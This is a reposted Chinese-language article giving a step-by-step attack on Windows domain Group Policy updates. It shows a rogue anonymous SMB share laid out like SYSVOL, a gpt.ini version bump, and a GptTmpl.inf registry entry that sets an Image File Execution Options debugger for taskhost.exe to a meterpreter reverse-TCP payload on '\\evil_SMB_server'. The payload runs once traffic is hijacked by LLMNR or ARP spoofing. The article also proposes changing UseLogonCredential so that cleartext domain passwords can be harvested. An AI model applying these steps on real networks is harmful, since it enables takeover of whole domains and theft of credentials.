微软认为这是一个漏洞,并且提供了相关的补丁。但是这个补丁并不是默认启用,必须管理员手动配置12个步骤才能启用。
所以该漏洞大多数环境中依然可以被当作0DAY来使用。
测试
实验测试步骤如下:
1. 准备存放payload的SMB服务器和相应的payload
在该测试中,在攻击者机器上启用了SMB共享,创建一个映射为SYSVOL的目录,命令如下:
- net share sysvol=C:\Users\TEST\Desktop\sysvol
或者直接使用界面开启共享,效果一样。在文件夹中创建树形结构,因为域机器在请求更新的时候只会请求固定位置的文件。文件结构如下:
- ─Domain_Name
- └─Policies
- └─{31B2F340-016D-11D2-945F-00C04FB984F9}
- │ gpt.ini
- │
- └─Machine
- └─Microsoft
- └─Windows NT
- └─SecEdit
- GptTmpl.inf
然后开启整个文件夹的匿名共享,允许任何人访问。
准备payload程序,本测试准备的是meterpreter_resver_tcp.exe,重命名为debugger.exe。
因为劫持方式不一样,如果选择直接修改数据包内容或者重新回包,可以不用创建树形结构目录,但是SMB的匿名共享文件夹是需要的,用来存放payload。
2. 劫持中需要修改的数据
首先修改Gpt.ini文件,将其中的版本号改为一个较大数字,方便起见改为1000,如下:
- [General]
- Version=1000
然后修改策略文件GptTmpl.ini,文件原内容如下:
- [Unicode]
- Unicode=yes
- [System Access]
- MinimumPasswordAge = 1
- MaximumPasswordAge = 42
- MinimumPasswordLength = 7
- PasswordComplexity = 1
- PasswordHistorySize = 24
- LockoutBadCount = 0
- RequireLogonToChangePassword = 0
- ForceLogoffWhenHourExpire = 0
- ClearTextPassword = 0
- LSAAnonymousNameLookup = 0
- [Kerberos Policy]
- MaxTicketAge = 10
- MaxRenewAge = 7
- MaxServiceAge = 600
- MaxClockSkew = 5
- TicketValidateClient = 1
- [Registry Values]
- MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash=4,1
- [Version]
- signature="$CHICAGO$"
- Revision=1
然后按照设计进行相应的修改,简便起见,只添加修改注册表项,修改后的文件内容如下:
- [Registry Values]
- MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskhost.exe\Debugger=1,\\evil_SMB_server\sysvol\admin.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\muma_test.exe
- [Version]
- signature="$CHICAGO$"
- Revision=1
将“evil_SMB_server”替换成放置payload的服务器地址,将“debugger.exe”替换成payload文件。
3. 开始攻击
劫持流量到attacker上。在这里劫持流量的方式多种多样,LLMNR,,NBT-NS ,MDNS,ARP,bad_tunnel等等等什么都行,有一款很好用的软件,叫做Responder github,但是本次试验是专门针对路由器流量劫持定制的程序来完成所有操作。
首先,client会tree一下整个文件夹,然后请求Gpt.ini,对比版本号,然后继续请求GptTmpl.ini文件,将文件中的注册表模版应用到注册表中。应用成功之后,下载并以debugger.exe作为调试器启动taskhost.exe程序, 然后稍等几秒:
[url=]
[url=]
[/url]
done
获取了一台机器的最高控制权限。
最多等待120min,就可以获取到整个域机器的最高权限。除了域控制器,因为域控制器不会请求更新组策略。到那时如果域中有多个域控制器,它们之间会请求更新组策略,同样可以被劫持。
除了域控外的所有设备都获取了控制权限,已经基本可以在域中畅行无阻了。
针对域控,只能使用通过组策略创建替换登录脚本,添加启动项等方法中的一种。再或者,通过组策略添加登录脚本,修改注册表UseLogonCredential的键值,等机器完成重启就能批量抓取用户密码,因为域管理员不可能只在域控上登录。
或者使用其他的更好的方法 ,如有好的思路,请私信我,可以共同讨论测试。
这样就获取到了整个域的控制权限。
总结
底层网络设备很危险,并且底层网络能给上层应用和服务带来难以想象的影响。只是现在的安全圈子没有深刻认识到。
转载自:http://netsecurity.51cto.com/art/201612/524814.htm
江苏国骏提供网络安全方案:网络防病毒系统、防火墙/UTM/VPV/入侵防御系统/防病毒网关、网站安全防护、内网安全管理系统、流量整形、负载均衡、数据容灾备份等


雷达卡




京公网安备 11010802022788号







